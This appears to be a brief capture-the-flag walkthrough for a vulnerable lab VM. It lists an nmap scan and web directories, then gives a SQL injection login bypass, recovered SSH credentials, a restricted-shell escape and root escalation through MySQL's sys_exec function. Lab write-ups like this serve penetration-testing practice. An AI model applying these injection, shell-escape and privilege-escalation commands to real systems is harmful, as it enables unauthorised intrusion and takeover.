SQL INJECTION (GET CREDS)

SSH THE BOX
SHELL ESC
PRIVESC USING MYSQL

```
PORT    STATE SERVICE     VERSION

22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)

| ssh-hostkey:

|   1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)

|_  2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)

80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)

|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch

|_http-title: Site doesn't have a title (text/html).

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open  netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)

MAC Address: 00:0C:29:80:83:95 (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

/index (Status: 200)

/images (Status: 301)

/member (Status: 302)

/logout (Status: 302)

/john (Status: 301)

/robert (Status: 301)

/server-status (Status: 403)
```

```
john ‘ or 1=1 -- -
```

Username : john

Password : MyNameIsJohn

Shell escape

```
echo os.system('/bin/bash')
```

```
mysql –uroot
```

```
use mysql
```

```
select * from func;
```

```
select sys_exec('usermod -a -G admin john');
```

```
exit
```

```
sudo su –
```

ROOT!